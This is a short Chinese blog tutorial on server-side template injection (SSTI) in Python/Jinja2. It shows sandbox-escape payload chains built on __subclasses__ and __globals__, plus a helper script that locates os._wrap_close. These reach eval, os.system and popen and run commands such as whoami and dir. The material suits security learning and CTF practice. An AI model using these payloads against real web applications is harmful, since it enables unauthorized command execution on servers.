美文网首页
SSTI实践

SSTI实践

作者: jessica1123 | 来源:发表于2019-12-30 19:52 被阅读0次

文章参考
绕过python沙盒
在python3中,文章中是这样绕过python沙盒的

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

但是这样的方式想要执行系统命令,需要导入os模块,而在Flask/Jinja2等比较新的版本中,会检测禁用导入os模块,这样就无法达到命令执行的效果,这个时候可以使用这样一种payload:

#coding:utf-8
search = "popen"

num = -1
#().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
for i in ().__class__.__bases__[0].__subclasses__():
    num +=1
    try:
        if search in i.__init__.__globals__.keys():
            print(num,i)
    except Exception as e:
        pass
128 <class 'os._wrap_close'>

所以我们可以构造这样一个payload来执行命令:

().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('dir')

相关文章

  • SSTI实践

    文章参考绕过python沙盒在python3中,文章中是这样绕过python沙盒的 但是这样的方式想要执行系统命令...

  • SSTI 简单总结

    SSTI(Server-Side TemplateInjection) SSTI(Server-Side Temp...

  • SSTI模板注入

    SSTI是个啥? SSTI即(server-side template injection)服务器模板,平时我们常...

  • Late(SSTI)

    服务探测 web 80端口打开是两个静态页面 在底部页面找到一个邮件账号:support@late.htb 存在一...

  • SSTI bypass 总结

    寒假前最后一篇文章说来也巧,前两天在ichunqiu上连续做了两道题居然都是模板注入。搜索资料之余也涨了不少见识,...

  • web-ssti

    [护网杯 2018]easy_tornado 先来简单点的,看到tornado就想到SSTI。/flag.txt/...

  • SSTI模板注入

    前言 开局一张图,姿势全靠yy 模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升...

  • flask ssti漏洞复现

    title: flask ssti漏洞复现date: 2019-04-10 13:12:06tags:- pyth...

  • BJDCTF2020-WEB-The mystery of ip

    登录发现有flag 和 hint两个页面 查看hint页面源码 X-Forwarded-For 有SSTI注入,...

  • 细说Jinja2之SSTI&bypass

    前言 SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新...

网友评论

      本文标题:SSTI实践

      本文链接:https://www.haomeiwen.com/subject/keamoctx.html